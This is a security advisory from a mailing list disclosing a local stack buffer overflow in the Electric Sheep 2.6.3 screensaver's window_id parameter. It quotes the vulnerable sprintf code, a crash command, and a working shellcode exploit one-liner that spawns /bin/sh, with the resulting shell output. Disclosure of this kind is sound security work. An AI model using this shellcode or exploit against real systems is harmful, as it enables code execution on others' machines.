[NEWS] Electric Sheep Window-Id Local Stack Overflow

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Electric Sheep Window-Id Local Stack Overflow
------------------------------------------------------------------------


SUMMARY

" <http://electricsheep.org/> Electric Sheep is a free, open source screen
saver run by thousands of people all over the world. It can be installed
on any ordinary PC or Mac."

Electric Sheep does not perform proper bounds checking on the window_id
command line parameter, allowing a malicious attacker to run arbitrary
code on the vulnerable machine with the permissions of the running user.

DETAILS

Vulnerable Systems:
* Electric Sheep version 2.6.3

Vulnerable Code:
>From file electricsheep.c

419:
default_background(char *more) {
char ob[MAXBUF];
char pbuf[MAXBUF];
char qbuf[MAXBUF];

if (nobg || (!on_root && !window_id)) return;
if (more)
sprintf(ob, "-merge -at 500,0 s.tif",
splash_prefix, more);
else
ob[0] = 0;

if (window_id)
sprintf(qbuf, "-windowid %s", window_id); //no bounds checking on
qbuf

Because window_id comes directly from the command line, a malicious user
has the potential to supply a window_id larger than MAXBUF and corrupt
surrounding memory. The vulnerability can be seen by executing the
following command.
electricsheep -window-id `perl -e '{print "A"x"40000";}'`

Bad integer argument for the windowid option Usage: xsetbg [global
options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular option,
or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
Segmentation fault

Exploit Code:
An exploit spawing /bin/sh on SUSE Linux

narain@(none):~/electricsheep-2.6.3> electricsheep -window-id `perl -
e '{print "\x90"x"200"; print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; print "B"x"532";print
"\x80\xc4\xfd\xbf"; print "C"x"39219";}'`

Bad integer argument for the windowid option

Usage: xsetbg [global options] {[image options] image_name ...}

Type `xsetbg -help [option ...]' for information on a particular option,
or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
sh-3.00$ whoami
narain
sh-3.00$

This local exploit to the sheep client does not pose a significant threat
as electric sheep does not setuid(0). However, local exploits may be used
as mechanisms for subvert command execution once a system has been
compromised or used to create backdoors

This vulnerability was discovered during coursework performed for
"Penetration Testing & Vulnerability Analysis" offered at Polytechnic
University (http://www.poly.edu) during the Fall 2005 semester.


ADDITIONAL INFORMATION

The information has been provided by
<mailto:MichaelAiello@xxxxxxxxxxxxxxxxx> Michael Aiello and
<mailto:dguido@xxxxxxxxx> Daniel Guido.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages

  • [NEWS] VICE Emulator Format String Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... VICE is "a program that runs on a UNIX, ... There is a format string vulnerability in the handling of the monitor ... is interpreted as a command for the output, ...
    (Securiteam)
  • [NEWS] MythControl Arbitrary Code Execution Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... MythControl Arbitrary Code Execution Vulnerability ... MythControlServer is "a small server application for use with MythControl ... In sendToMythTV the command that is to be sent might overflow the sendStr ...
    (Securiteam)
  • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
    (Securiteam)
  • [UNIX] SCO Multiple Local Buffer Overflow
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
    (Securiteam)
  • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
    (Securiteam)